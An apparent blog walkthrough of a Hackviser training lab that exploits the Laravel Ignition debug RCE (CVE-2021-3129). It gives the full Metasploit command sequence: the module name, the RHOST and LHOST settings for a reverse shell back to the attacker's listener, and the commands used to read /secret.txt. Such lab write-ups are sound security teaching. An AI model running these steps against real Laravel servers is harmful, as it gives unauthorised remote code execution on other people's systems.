Exploiting Laravel Ignition Debug RCE (CVE-2021–3129) | Hackviser Walkthrough

Laravel is one of the most widely used PHP frameworks for web applications, and during development many developers enable debugging features to troubleshoot issues faster. One of those components is Ignition, which acts as Laravel’s error page and debugging handler.

This Hackviser lab focuses on CVE-2021–3129, a remote code execution vulnerability affecting vulnerable Laravel applications using the Ignition debug component.

The target was running a Laravel version below 8.4.2, which made it vulnerable to the public Ignition exploit that eventually gives remote command execution on the server.

The goal of the lab was simple to Find the secret stored inside /secret.txt

This walkthrough follows the exact flow I used while solving the machine, including the small dead ends and reasoning during exploitation.

Initial Recon

As usual, I started with an Nmap scan against the target machine.

nmap -p- -A -sV 172.20.7.65

What these options do

• -p- → scans all 65535 TCP ports
• -A → enables aggressive detection like OS detection, service detection, traceroute, and NSE scripts
• -sV → detects service versions running on open ports

The idea here was to avoid missing hidden services running on non-standard ports.

The scan completed successfully, but honestly it did not reveal anything especially useful immediately. There were no obvious vulnerable services screaming for exploitation.

At this point, the lab description mentioning Laravel and CVE-2021–3129 became the biggest clue. Since the vulnerability was already known, the next logical step was checking whether public exploits already existed.

Moving to Metasploit

To speed things up, I switched to Metasploit.

Metasploit is a penetration testing framework that contains a huge collection of exploits, payloads, scanners, and post-exploitation modules. Instead of manually writing exploit code, you can often use existing modules and focus on validating and exploiting the target.

I launched Metasploit using:

msfconsole

Once loaded, I searched for Laravel-related exploits.

search type:exploit Laravel

This searches Metasploit’s exploit database for modules related to Laravel.

The results showed multiple modules, but the one that immediately matched the vulnerability mentioned in the lab was:

exploit/multi/php/ignition_laravel_debug_rce

It also referenced the 2021 disclosure timeline, which matched CVE-2021–3129 perfectly.

Selecting the Exploit

I loaded the exploit module using:

use exploit/multi/php/ignition_laravel_debug_rce

You can also load it directly by index number from the search results:

use 7

After selecting the module, I checked what configuration values were required.

show options

This is important because Metasploit modules usually require target-specific values before execution.

The important options here were:

• RHOST
• LHOST

Configuring the Exploit

RHOST

RHOST refers to the target machine IP address we want to attack.

Get Manohar T H’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

In this case:

set RHOST 172.20.7.65

LHOST

LHOST is our own machine’s IP address.
This is where the reverse shell connection comes back after exploitation succeeds.

set LHOST 172.20.7.94

Without setting the correct LHOST, the target may successfully execute the payload but fail to connect back to us.

After configuring both values, the module was ready.

Running the Exploit

With everything configured, I executed the module.

run

A few seconds later, the exploit completed successfully and Metasploit returned:

This confirmed that the target executed our payload successfully and opened a reverse shell connection back to my machine.

At this point, I had remote command execution on the server.

Exploring the Target System

The next objective was locating the secret.txt file.

First, I checked the current working directory.

pwd

Output:

/var/www/html

This made sense because Laravel applications are typically hosted inside /var/www/html.

I started manually checking folders from there expecting the flag to maybe exist somewhere inside the web root, but after going through multiple directories, I still could not find secret.txt.

That was the first small dead end during the lab.

Instead of continuing to search randomly inside the Laravel application directories, I stepped back and checked the filesystem root directly.

I moved back to the root directory using:

cd /

Then listed the contents.

ls

Output:

bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
secret.txt
srv
sys
tmp
usr
var

This immediately revealed the target file sitting directly under /.

Honestly, this was one of those moments where the file was much simpler to locate than expected. I initially assumed the flag would be hidden somewhere inside the Laravel application structure.

Reading the Secret File

Finally, I used cat to read the file contents.

cat secret.txt

Final Thoughts

This Hackviser lab was a straightforward but good demonstration of how dangerous exposed debug functionality can become in production environments.

The interesting part here was not complicated payload crafting or manual exploitation logic. The real lesson was understanding how quickly a misconfigured Laravel debug environment can turn into full Remote Code Execution using publicly available tooling.

A few things stood out during the process:

• The initial Nmap scan did not reveal much useful information
• The lab description itself became the strongest enumeration clue
• Metasploit significantly simplified exploitation
• Correct LHOST configuration was essential for getting the reverse shell
• The flag location turned out simpler than expected after initially searching the web directories